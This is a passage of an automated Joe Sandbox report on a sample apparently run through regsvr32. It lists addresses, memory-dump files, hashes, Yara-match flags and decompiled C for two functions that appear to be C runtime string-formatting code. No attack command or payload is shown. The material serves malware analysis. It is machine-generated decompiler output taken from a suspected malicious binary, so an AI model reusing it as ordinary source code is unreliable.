                                                                                                        0x1800483c4
                                                                                                        0x1800483cf
                                                                                                        0x1800483d5
                                                                                                        0x1800483d9
                                                                                                        0x1800483de
                                                                                                        0x1800483e0
                                                                                                        0x1800483e5
                                                                                                        0x1800483e7
                                                                                                        0x1800483f1
                                                                                                        0x1800483f7
                                                                                                        0x1800483ff
                                                                                                        0x180048401
                                                                                                        0x180048407
                                                                                                        0x18004840d
                                                                                                        0x180048413
                                                                                                        0x180048419
                                                                                                        0x180048424
                                                                                                        0x18004842d
                                                                                                        0x180048436
                                                                                                        0x18004843c
                                                                                                        0x180048448
                                                                                                        0x18004844a
                                                                                                        0x180048451
                                                                                                        0x18004845e
                                                                                                        0x180048466
                                                                                                        0x18004846b
                                                                                                        0x180048472
                                                                                                        0x180048474
                                                                                                        0x180048476
                                                                                                        0x180048479
                                                                                                        0x180048482
                                                                                                        0x180048486
                                                                                                        0x18004848d
                                                                                                        0x180048492
                                                                                                        0x180048497
                                                                                                        0x18004849b
                                                                                                        0x1800484a6
                                                                                                        0x1800484a8
                                                                                                        0x1800484ad
                                                                                                        0x1800484af
                                                                                                        0x1800484ba
                                                                                                        0x1800484c0
                                                                                                        0x1800484c4
                                                                                                        0x1800484c9
                                                                                                        0x1800484cb
                                                                                                        0x1800484d0
                                                                                                        0x1800484d2
                                                                                                        0x1800484dc
                                                                                                        0x1800484e2
                                                                                                        0x1800484ea
                                                                                                        0x1800484ec
                                                                                                        0x1800484f2
                                                                                                        0x180048520

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: f873a2fbf31b97a67b0a744aeaac6cd56476a551fc21ce7dea8c5fcf905c6681
                                                                                                        • Instruction ID: 773b5007848cc080bb53b738997d74e0386ee70cc5f526b4ced7fadd9b852733
                                                                                                        • Opcode Fuzzy Hash: f873a2fbf31b97a67b0a744aeaac6cd56476a551fc21ce7dea8c5fcf905c6681
                                                                                                        • Instruction Fuzzy Hash: C4D1D532600E4886EBEACE2981903AD27A0FB4DBCCF168615EE05176D5DF75CA49E308
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180047904 Relevance: .3, Instructions: 327COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 60%
                                                                                                        			E00000001180047904(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r10, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				char _v68;
				char _v70;
				signed int _v72;
				long long _v88;
				void* __rbp;
				void* _t111;
				void* _t112;
				void* _t140;
				char _t147;
				void* _t151;
				unsigned int _t156;
				signed char _t157;
				signed int _t160;
				void* _t177;
				void* _t178;
				void* _t179;
				void* _t185;
				signed long long _t231;
				void* _t247;
				intOrPtr _t258;
				intOrPtr _t261;
				intOrPtr* _t265;
				void* _t269;
				void* _t270;
				intOrPtr _t276;
				signed int* _t278;
				void* _t282;
				void* _t283;
				void* _t286;
				void* _t290;
				void* _t294;
				intOrPtr* _t295;

				_t290 = __r10;
				_t286 = __r8;
				_t280 = __rsi;
				_t277 = __rdi;
				_t269 = __rdx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_t282 = _t283;
				_t284 = _t283 - 0x50;
				_t231 =  *0x800d81f8; // 0x68308725f9ca
				_v56 = _t231 ^ _t283 - 0x00000050;
				_t247 = __rcx;
				_t147 =  *((char*)(__rcx + 0x39));
				_t6 = _t277 - 0x77; // 0x1
				r13d = _t6;
				_t178 = _t147 - 0x64;
				if (_t178 > 0) goto 0x800479b9;
				if (_t178 == 0) goto 0x800479e3;
				_t179 = _t147 - 0x53;
				if (_t179 > 0) goto 0x80047981;
				if (_t179 == 0) goto 0x80047a2a;
				if (_t179 == 0) goto 0x80047974;
				if (_t179 == 0) goto 0x8004799d;
				if (_t179 == 0) goto 0x80047974;
				_t151 = _t147 - 0x3d - r13d;
				if (_t179 == 0) goto 0x80047974;
				if (_t151 != r13d) goto 0x80047a51;
				_t111 = E0000000118004B2A4(0x78, __rcx, __rcx, __rsi, _t282);
				goto 0x80047a4d;
				if (_t151 == 0x58) goto 0x80047a42;
				if (_t151 == 0x5a) goto 0x800479ac;
				if (_t151 == 0x61) goto 0x80047974;
				if (_t151 != 0x63) goto 0x80047a51;
				_t112 = E0000000118004CBB4(_t111, _t151 - 0x63, __rcx, __rcx);
				goto 0x80047a4d;
				E0000000118004A6B0(_t112, __rcx);
				goto 0x80047a4d;
				_t185 = _t151 - 0x6f;
				if (_t185 > 0) goto 0x80047a13;
				if (_t185 == 0) goto 0x800479f3;
				if (_t185 == 0) goto 0x80047974;
				if (_t185 == 0) goto 0x80047974;
				if (_t185 == 0) goto 0x80047974;
				if (_t185 == 0) goto 0x800479e3;
				if (_t151 - 0x65 - r13d - r13d - 2 != 5) goto 0x80047a51;
				E0000000118004D65C(__rcx, __rcx);
				goto 0x80047a4d;
				 *(__rcx + 0x28) =  *(__rcx + 0x28) | 0x00000010;
				E00000001180038960(0, __rcx, __rcx, _t269, __rdi, _t280, _t282, _t286, _t290);
				goto 0x80047a4d;
				_t156 =  *(__rcx + 0x28);
				if ((r13b & _t156 >> 0x00000005) == 0) goto 0x80047a07;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x28) = _t156;
				E00000001180037060(0, __rcx, __rcx, _t269, _t277, _t280, _t282, _t286, _t290);
				goto 0x80047a4d;
				if (_t156 == 0x70) goto 0x80047a34;
				if (_t156 == 0x73) goto 0x80047a2a;
				if (_t156 == 0x75) goto 0x800479e7;
				if (_t156 != 0x78) goto 0x80047a51;
				goto 0x80047a45;
				E0000000118004E1BC(__rcx);
				goto 0x80047a4d;
				 *((intOrPtr*)(__rcx + 0x30)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x34)) = 0xb;
				if (E0000000118003A260(r13b, __rcx, __rcx, _t269, _t277, _t280, _t282, _t286, _t290) != 0) goto 0x80047a58;
				goto 0x80047cdb;
				if ( *((char*)(__rcx + 0x38)) != 0) goto 0x80047cd8;
				_t157 =  *(__rcx + 0x28);
				_v72 = 0;
				_v70 = 0;
				if ((r13b & 0) == 0) goto 0x80047aa5;
				if ((r13b & 0) == 0) goto 0x80047a8a;
				_v72 = 0x2d;
				goto 0x80047aa2;
				if ((r13b & _t157) == 0) goto 0x80047a95;
				_v72 = 0x2b;
				goto 0x80047aa2;
				if ((r13b & 0) == 0) goto 0x80047aa5;
				_v72 = 0x20;
				_t270 = _t294;
				r8b =  *((intOrPtr*)(__rcx + 0x39));
				if (0 != 0) goto 0x80047ac0;
				if ((r13b & 0) == 0) goto 0x80047ac0;
				r9b = r13b;
				goto 0x80047ac3;
				r9b = 0;
				if (r9b != 0) goto 0x80047ad5;
				if (0 == 0) goto 0x80047af2;
				 *((char*)(_t282 + _t270 - 0x20)) = 0x30;
				if (r8b == 0x58) goto 0x80047ae6;
				if (r8b != 0x41) goto 0x80047ae9;
				dil = 0x58;
				 *((intOrPtr*)(_t282 + _t270 - 0x1f)) = dil;
				_t177 =  *((intOrPtr*)(__rcx + 0x2c)) -  *((intOrPtr*)(__rcx + 0x48));
				if ((_t157 & 0x0000000c) != 0) goto 0x80047b64;
				r9d = 0;
				if (_t177 <= 0) goto 0x80047b64;
				r8d =  *(__rcx + 0x20);
				_t258 =  *((intOrPtr*)(__rcx + 0x460));
				if ( *((intOrPtr*)(_t258 + 0x10)) !=  *((intOrPtr*)(_t258 + 8))) goto 0x80047b30;
				if ( *((char*)(_t258 + 0x18)) == 0) goto 0x80047b26;
				r8d = r8d + 1;
				goto 0x80047b2a;
				r8d = r8d | 0xffffffff;
				 *(__rcx + 0x20) = r8d;
				goto 0x80047b52;
				 *(__rcx + 0x20) = _t286 + 1;
				 *((intOrPtr*)(_t258 + 0x10)) =  *((intOrPtr*)(_t258 + 0x10)) + _t294;
				 *((char*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))))) = 0x20;
				 *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) + _t294;
				r8d =  *(__rcx + 0x20);
				if (r8d == 0xffffffff) goto 0x80047b64;
				r9d = r9d + r13d;
				if (r9d - _t177 < 0) goto 0x80047b0a;
				_t63 = _t247 + 0x20; // 0x78
				_t278 = _t63;
				r8d = 0;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				_t65 = _t247 + 0x460; // 0x4b8
				_t295 = _t65;
				E00000001180051778(_t286 + 1, 0x78, _t177, __rcx, _t295, _t278, _t280, _t282, _t278);
				if ((r13b & 0) == 0) goto 0x80047bed;
				if ((r13b &  *(__rcx + 0x28) >> 0x00000002) != 0) goto 0x80047bed;
				r8d = 0;
				if (_t177 <= 0) goto 0x80047bed;
				_t261 =  *_t295;
				if ( *((intOrPtr*)(_t261 + 0x10)) !=  *((intOrPtr*)(_t261 + 8))) goto 0x80047bc6;
				if ( *((char*)(_t261 + 0x18)) == 0) goto 0x80047bbf;
				goto 0x80047bc2;
				 *_t278 =  *_t278 + 0x00000001 | 0xffffffff;
				goto 0x80047bde;
				 *_t278 =  &(( &_v72)[0]);
				 *((intOrPtr*)(_t261 + 0x10)) =  *((intOrPtr*)(_t261 + 0x10)) + _t294;
				 *((char*)( *((intOrPtr*)( *_t295)))) = 0x30;
				 *((intOrPtr*)( *_t295)) =  *((intOrPtr*)( *_t295)) + _t294;
				if ( *_t278 == 0xffffffff) goto 0x80047bed;
				r8d = r8d + r13d;
				if (r8d - _t177 < 0) goto 0x80047ba8;
				if ( *((char*)(__rcx + 0x4c)) == 0) goto 0x80047c5f;
				if ( *((intOrPtr*)(__rcx + 0x48)) <= 0) goto 0x80047c5f;
				r15d = 0;
				r9d =  *( *(__rcx + 0x40)) & 0x0000ffff;
				_v72 = _v72 & 0x00000000;
				r8d = 6;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				if (E0000000118005CBE0( *((intOrPtr*)(__rcx + 8)), __rcx,  &_v72,  &_v68, _t282, _t286) != 0) goto 0x80047c5a;
				r8d = _v72;
				if (r8d == 0) goto 0x80047c5a;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				_t140 = E00000001180051778(_t139, 0x78, _t177, _t247, _t295, _t278, _t280, _t282, _t278);
				r15d = r15d + r13d;
				if (r15d !=  *(_t247 + 0x48)) goto 0x80047c00;
				goto 0x80047c7b;
				 *_t278 =  *_t278 | 0xffffffff;
				goto 0x80047c7b;
				r8d =  *(_t247 + 0x48);
				_t265 = _t295;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				E00000001180051778(_t140, 0x78, _t177, _t247, _t265, _t278, _t280, _t282, _t278);
				_t160 =  *_t278;
				if (_t160 < 0) goto 0x80047cd8;
				if ((r13b & 0) == 0) goto 0x80047cd8;
				r8d = 0;
				if (_t177 <= 0) goto 0x80047cd8;
				_t276 =  *_t295;
				if ( *((intOrPtr*)(_t276 + 0x10)) !=  *((intOrPtr*)(_t276 + 8))) goto 0x80047cb1;
				if ( *((char*)(_t276 + 0x18)) == 0) goto 0x80047caa;
				goto 0x80047cad;
				 *_t278 = _t160 + 0x00000001 | 0xffffffff;
				goto 0x80047cc9;
				 *_t278 = _t265 + 1;
				 *((intOrPtr*)(_t276 + 0x10)) =  *((intOrPtr*)(_t276 + 0x10)) + _t294;
				 *((char*)( *((intOrPtr*)( *_t295)))) = 0x20;
				 *((intOrPtr*)( *_t295)) =  *((intOrPtr*)( *_t295)) + _t294;
				if ( *_t278 == 0xffffffff) goto 0x80047cd8;
				r8d = r8d + r13d;
				if (r8d - _t177 < 0) goto 0x80047c93;
				return E000000011800149A0(r13b,  *_t278, _v56 ^ _t284);
			}





































                                                                                                        0x180047904
                                                                                                        0x180047904
                                                                                                        0x180047904
                                                                                                        0x180047904
                                                                                                        0x180047904
                                                                                                        0x180047904
                                                                                                        0x180047909
                                                                                                        0x18004790e
                                                                                                        0x18004791c
                                                                                                        0x18004791f
                                                                                                        0x180047923
                                                                                                        0x18004792d
                                                                                                        0x180047936
                                                                                                        0x180047939
                                                                                                        0x18004793d
                                                                                                        0x18004793d
                                                                                                        0x180047941
                                                                                                        0x180047944
                                                                                                        0x180047946
                                                                                                        0x18004794c
                                                                                                        0x18004794f
                                                                                                        0x180047951
                                                                                                        0x18004795a
                                                                                                        0x18004795f
                                                                                                        0x180047964
                                                                                                        0x180047966
                                                                                                        0x180047969
                                                                                                        0x18004796e
                                                                                                        0x180047977
                                                                                                        0x18004797c
                                                                                                        0x180047984
                                                                                                        0x18004798d
                                                                                                        0x180047992
                                                                                                        0x180047997
                                                                                                        0x1800479a2
                                                                                                        0x1800479a7
                                                                                                        0x1800479af
                                                                                                        0x1800479b4
                                                                                                        0x1800479b9
                                                                                                        0x1800479bc
                                                                                                        0x1800479be
                                                                                                        0x1800479c3
                                                                                                        0x1800479c8
                                                                                                        0x1800479cd
                                                                                                        0x1800479d2
                                                                                                        0x1800479d7
                                                                                                        0x1800479dc
                                                                                                        0x1800479e1
                                                                                                        0x1800479e3
                                                                                                        0x1800479ec
                                                                                                        0x1800479f1
                                                                                                        0x1800479f3
                                                                                                        0x1800479fe
                                                                                                        0x180047a00
                                                                                                        0x180047a04
                                                                                                        0x180047a0c
                                                                                                        0x180047a11
                                                                                                        0x180047a16
                                                                                                        0x180047a1b
                                                                                                        0x180047a20
                                                                                                        0x180047a24
                                                                                                        0x180047a28
                                                                                                        0x180047a2d
                                                                                                        0x180047a32
                                                                                                        0x180047a34
                                                                                                        0x180047a3b
                                                                                                        0x180047a4f
                                                                                                        0x180047a53
                                                                                                        0x180047a5c
                                                                                                        0x180047a62
                                                                                                        0x180047a67
                                                                                                        0x180047a6d
                                                                                                        0x180047a78
                                                                                                        0x180047a82
                                                                                                        0x180047a84
                                                                                                        0x180047a88
                                                                                                        0x180047a8d
                                                                                                        0x180047a8f
                                                                                                        0x180047a93
                                                                                                        0x180047a9c
                                                                                                        0x180047a9e
                                                                                                        0x180047aa2
                                                                                                        0x180047aa5
                                                                                                        0x180047aaf
                                                                                                        0x180047ab9
                                                                                                        0x180047abb
                                                                                                        0x180047abe
                                                                                                        0x180047ac0
                                                                                                        0x180047acf
                                                                                                        0x180047ad3
                                                                                                        0x180047ad5
                                                                                                        0x180047ade
                                                                                                        0x180047ae4
                                                                                                        0x180047ae6
                                                                                                        0x180047ae9
                                                                                                        0x180047af7
                                                                                                        0x180047afd
                                                                                                        0x180047aff
                                                                                                        0x180047b04
                                                                                                        0x180047b06
                                                                                                        0x180047b0a
                                                                                                        0x180047b19
                                                                                                        0x180047b1f
                                                                                                        0x180047b21
                                                                                                        0x180047b24
                                                                                                        0x180047b26
                                                                                                        0x180047b2a
                                                                                                        0x180047b2e
                                                                                                        0x180047b34
                                                                                                        0x180047b37
                                                                                                        0x180047b45
                                                                                                        0x180047b4f
                                                                                                        0x180047b52
                                                                                                        0x180047b5a
                                                                                                        0x180047b5c
                                                                                                        0x180047b62
                                                                                                        0x180047b68
                                                                                                        0x180047b68
                                                                                                        0x180047b6c
                                                                                                        0x180047b6f
                                                                                                        0x180047b74
                                                                                                        0x180047b74
                                                                                                        0x180047b85
                                                                                                        0x180047b95
                                                                                                        0x180047b9d
                                                                                                        0x180047b9f
                                                                                                        0x180047ba4
                                                                                                        0x180047ba8
                                                                                                        0x180047bb3
                                                                                                        0x180047bb9
                                                                                                        0x180047bbd
                                                                                                        0x180047bc2
                                                                                                        0x180047bc4
                                                                                                        0x180047bc9
                                                                                                        0x180047bcb
                                                                                                        0x180047bd5
                                                                                                        0x180047bdb
                                                                                                        0x180047be3
                                                                                                        0x180047be5
                                                                                                        0x180047beb
                                                                                                        0x180047bf1
                                                                                                        0x180047bf7
                                                                                                        0x180047bfd
                                                                                                        0x180047c08
                                                                                                        0x180047c11
                                                                                                        0x180047c1a
                                                                                                        0x180047c20
                                                                                                        0x180047c2c
                                                                                                        0x180047c2e
                                                                                                        0x180047c35
                                                                                                        0x180047c42
                                                                                                        0x180047c4a
                                                                                                        0x180047c4f
                                                                                                        0x180047c56
                                                                                                        0x180047c58
                                                                                                        0x180047c5a
                                                                                                        0x180047c5d
                                                                                                        0x180047c66
                                                                                                        0x180047c6a
                                                                                                        0x180047c71
                                                                                                        0x180047c76
                                                                                                        0x180047c7b
                                                                                                        0x180047c7f
                                                                                                        0x180047c8a
                                                                                                        0x180047c8c
                                                                                                        0x180047c91
                                                                                                        0x180047c93
                                                                                                        0x180047c9e
                                                                                                        0x180047ca4
                                                                                                        0x180047ca8
                                                                                                        0x180047cad
                                                                                                        0x180047caf
                                                                                                        0x180047cb4
                                                                                                        0x180047cb6
                                                                                                        0x180047cc0
                                                                                                        0x180047cc6
                                                                                                        0x180047cce
                                                                                                        0x180047cd0
                                                                                                        0x180047cd6
                                                                                                        0x180047d04

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: e178075079ae020a96e3ee63d07a24891f8c744b8f61564c1a070f6ca2ed6588
                                                                                                        • Instruction ID: d410748e8b369da11313a3ef359550e5153828aa801ea7726574e14fc77e43d2
                                                                                                        • Opcode Fuzzy Hash: e178075079ae020a96e3ee63d07a24891f8c744b8f61564c1a070f6ca2ed6588
                                                                                                        • Instruction Fuzzy Hash: 6CD1B332300E4886EBAA8E2985D07AD27A1E74DBCCF16C215EE0D076D6DF35CB59C749
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02419C4C Relevance: .3, Instructions: 308COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 0f948084e919379a1f52d8c5ebffcc3b74fed3bec625f5ff2a2ba8a3c0ae3e4b
                                                                                                        • Instruction ID: a675566ddc1b8f0e6a5eeda5328205f21396beacc92ba45d299c6bedc8b29f1f
                                                                                                        • Opcode Fuzzy Hash: 0f948084e919379a1f52d8c5ebffcc3b74fed3bec625f5ff2a2ba8a3c0ae3e4b
                                                                                                        • Instruction Fuzzy Hash: AEE10271510749DBDFACCF28C89A8DD3BA1FF44398F902219FD46962A0D779D885CB81
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240C930 Relevance: .3, Instructions: 298COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: e11e428a123b1041c9694eac2aeb7bba80250616d8e334c9f426d11a7d226c62
                                                                                                        • Instruction ID: e5ceb01cc2289326a24a08647d99a53b6edae8f8bfc31ba7b1cae1ab2274e706
                                                                                                        • Opcode Fuzzy Hash: e11e428a123b1041c9694eac2aeb7bba80250616d8e334c9f426d11a7d226c62
                                                                                                        • Instruction Fuzzy Hash: 97D10870A4871DDFDB58DFA8D4895DDBBB1FB18344F00422AE40AB7290DB74984ACF99
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018004196C Relevance: .2, Instructions: 247COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 63%
                                                                                                        			E0000000118004196C(signed int __esi, long long __rbx, long long __rcx, void* __rdx, long long __rdi, long long __rsi, signed int __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				long long _v24;
				intOrPtr _t113;
				signed int _t118;
				intOrPtr _t122;
				signed int _t123;
				signed int _t128;
				intOrPtr _t143;
				signed char _t144;
				signed int _t146;
				signed int _t154;
				void* _t178;
				intOrPtr _t179;
				signed char* _t189;
				intOrPtr* _t194;
				long long _t196;
				intOrPtr* _t199;
				intOrPtr* _t206;
				signed int* _t207;
				signed char** _t210;
				signed char** _t212;
				void* _t215;
				intOrPtr _t219;
				signed int _t223;
				void* _t225;
				void* _t230;
				void* _t231;

				_t230 = __r10;
				_t228 = __r8;
				_t223 = __rbp;
				_t221 = __rsi;
				_t215 = __rdx;
				_t178 = _t225;
				 *((long long*)(_t178 + 8)) = __rbx;
				 *((long long*)(_t178 + 0x10)) = __rbp;
				 *((long long*)(_t178 + 0x18)) = __rsi;
				 *((long long*)(_t178 + 0x20)) = __rdi;
				_t179 =  *((intOrPtr*)(__rcx + 8));
				_t146 = __esi | 0xffffffff;
				_t196 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x460)) != __rbp) goto 0x800419aa;
				 *((char*)(_t179 + 0x30)) = 1;
				 *((intOrPtr*)(_t179 + 0x2c)) = 0x16;
				goto 0x80041cd1;
				_t199 =  *((intOrPtr*)(__rcx + 0x10));
				if (_t199 != 0) goto 0x800419e1;
				 *((char*)(_t179 + 0x30)) = 1;
				r9d = 0;
				 *((intOrPtr*)(_t179 + 0x2c)) = 0x16;
				r8d = 0;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = __rbp;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, _t199, __rdx, __rsi, __rbp, __r8);
				goto 0x80041c77;
				_t113 =  *((intOrPtr*)(_t196 + 0x468)) + 1;
				 *((intOrPtr*)(_t196 + 0x468)) = _t113;
				if (_t113 == 2) goto 0x80041c74;
				 *((intOrPtr*)(_t196 + 0x48)) = 0;
				 *(_t196 + 0x24) = bpl;
				_t143 =  *_t199;
				goto 0x80041c47;
				if ( *(_t196 + 0x20) < 0) goto 0x80041c56;
				_t20 = _t215 - 0x20; // -32
				if (_t20 - 0x5a > 0) goto 0x80041a32;
				_t182 = _t143 - 0x20;
				goto 0x80041a35;
				_t118 =  *(0x800c45a0 + (_t143 - 0x20 + (_t143 - 0x20) * 8 + _t182) * 2) & 0x000000ff;
				 *(_t196 + 0x24) = _t118;
				if (_t118 - 8 >= 0) goto 0x80041cbe;
				_t154 = _t118;
				if (_t154 == 0) goto 0x80041b71;
				if (_t154 == 0) goto 0x80041b5a;
				if (_t154 == 0) goto 0x80041b10;
				if (_t154 == 0) goto 0x80041ad8;
				if (_t154 == 0) goto 0x80041ad0;
				if (_t154 == 0) goto 0x80041aa3;
				if (_t154 == 0) goto 0x80041a99;
				if (_t118 - 0xfffffffffffffffc != 1) goto 0x80041cea;
				E00000001180047904(_t196, _t196, _t215, __rdi, _t221, _t228, _t230);
				goto 0x80041b03;
				E00000001180045D74(_t196, _t215, _t228, _t231);
				goto 0x80041b03;
				if (_t143 == 0x2a) goto 0x80041ab6;
				E000000011800408F4(_t196, _t196, _t196 + 0x30, _t221);
				goto 0x80041b03;
				_t206 =  *(_t196 + 0x18);
				 *(_t196 + 0x18) = _t206 + 8;
				_t122 =  *_t206;
				_t141 =  <  ? _t146 : _t122;
				 *(_t196 + 0x30) =  <  ? _t146 : _t122;
				goto 0x80041b01;
				 *(_t196 + 0x30) = 0;
				goto 0x80041c3d;
				if (_t143 == 0x2a) goto 0x80041ae3;
				goto 0x80041aac;
				_t207 =  *(_t196 + 0x18);
				 *(_t196 + 0x18) =  &(_t207[2]);
				_t123 =  *_t207;
				 *(_t196 + 0x2c) = _t123;
				if (_t123 >= 0) goto 0x80041b01;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000004;
				 *(_t196 + 0x2c) =  ~_t123;
				if (1 == 0) goto 0x80041cea;
				goto 0x80041c3d;
				if (_t143 == 0x20) goto 0x80041b51;
				if (_t143 == 0x23) goto 0x80041b48;
				if (_t143 == 0x2b) goto 0x80041b3f;
				if (_t143 == 0x2d) goto 0x80041b36;
				if (_t143 != 0x30) goto 0x80041c3d;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000008;
				goto 0x80041c3d;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000004;
				goto 0x80041c3d;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000001;
				goto 0x80041c3d;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000020;
				goto 0x80041c3d;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000002;
				goto 0x80041c3d;
				 *(_t196 + 0x28) = _t223;
				 *(_t196 + 0x38) = bpl;
				 *(_t196 + 0x30) = _t146;
				 *((intOrPtr*)(_t196 + 0x34)) = 0;
				 *(_t196 + 0x4c) = bpl;
				goto 0x80041c3d;
				_t219 =  *((intOrPtr*)(_t196 + 8));
				 *(_t196 + 0x4c) = bpl;
				if ( *((intOrPtr*)(_t219 + 0x28)) != bpl) goto 0x80041b87;
				E0000000118002F1E0( &(_t207[2]), _t196, _t219, _t196 + 0x2c, _t221);
				if (r8d - _t146 < 0) goto 0x80041bfe;
				if (( *( *((intOrPtr*)( *((intOrPtr*)(_t219 + 0x18)))) +  *(_t196 + 0x39) * 2) & 0x00008000) == 0) goto 0x80041bfe;
				_t210 =  *(_t196 + 0x460);
				if ( *((intOrPtr*)(_t210 + 0x10)) !=  *((intOrPtr*)(_t210 + 8))) goto 0x80041bc5;
				if ( *((intOrPtr*)(_t210 + 0x18)) == bpl) goto 0x80041bc0;
				 *(_t196 + 0x20) =  *(_t196 + 0x20) + 1;
				goto 0x80041be3;
				 *(_t196 + 0x20) = _t146;
				goto 0x80041be3;
				 *(_t196 + 0x20) =  *(_t196 + 0x20) + 1;
				 *((long long*)(_t210 + 0x10)) =  *((long long*)(_t210 + 0x10)) + 1;
				 *( *( *(_t196 + 0x460))) = r8b;
				 *( *(_t196 + 0x460)) =  &(( *( *(_t196 + 0x460)))[1]);
				_t189 =  *(_t196 + 0x10);
				r8b =  *_t189;
				 *(_t196 + 0x10) =  &(_t189[1]);
				 *(_t196 + 0x39) = r8b;
				if (r8b == 0) goto 0x80041c92;
				_t212 =  *(_t196 + 0x460);
				if ( *((intOrPtr*)(_t212 + 0x10)) !=  *((intOrPtr*)(_t212 + 8))) goto 0x80041c1f;
				if ( *((intOrPtr*)(_t212 + 0x18)) == bpl) goto 0x80041c1a;
				 *(_t196 + 0x20) =  *(_t196 + 0x20) + 1;
				goto 0x80041c3d;
				 *(_t196 + 0x20) = _t146;
				goto 0x80041c3d;
				 *(_t196 + 0x20) =  *(_t196 + 0x20) + 1;
				 *((long long*)(_t212 + 0x10)) =  *((long long*)(_t212 + 0x10)) + 1;
				 *( *( *(_t196 + 0x460))) = r8b;
				 *( *(_t196 + 0x460)) =  &(( *( *(_t196 + 0x460)))[1]);
				_t194 =  *(_t196 + 0x10);
				_t144 =  *_t194;
				 *(_t196 + 0x10) = _t194 + 1;
				 *(_t196 + 0x39) = _t144;
				if (_t144 != 0) goto 0x80041a10;
				_t128 =  *(_t196 + 0x24);
				if (_t128 == 0) goto 0x80041c61;
				if (_t128 != 7) goto 0x80041cbe;
				 *((intOrPtr*)(_t196 + 0x468)) =  *((intOrPtr*)(_t196 + 0x468)) + 1;
				if ( *((intOrPtr*)(_t196 + 0x468)) != 2) goto 0x800419ff;
				return  *(_t196 + 0x20);
			}






























                                                                                                        0x18004196c
                                                                                                        0x18004196c
                                                                                                        0x18004196c
                                                                                                        0x18004196c
                                                                                                        0x18004196c
                                                                                                        0x18004196c
                                                                                                        0x18004196f
                                                                                                        0x180041973
                                                                                                        0x180041977
                                                                                                        0x18004197b
                                                                                                        0x180041985
                                                                                                        0x180041989
                                                                                                        0x18004198e
                                                                                                        0x180041998
                                                                                                        0x18004199a
                                                                                                        0x18004199e
                                                                                                        0x1800419a5
                                                                                                        0x1800419aa
                                                                                                        0x1800419b1
                                                                                                        0x1800419b3
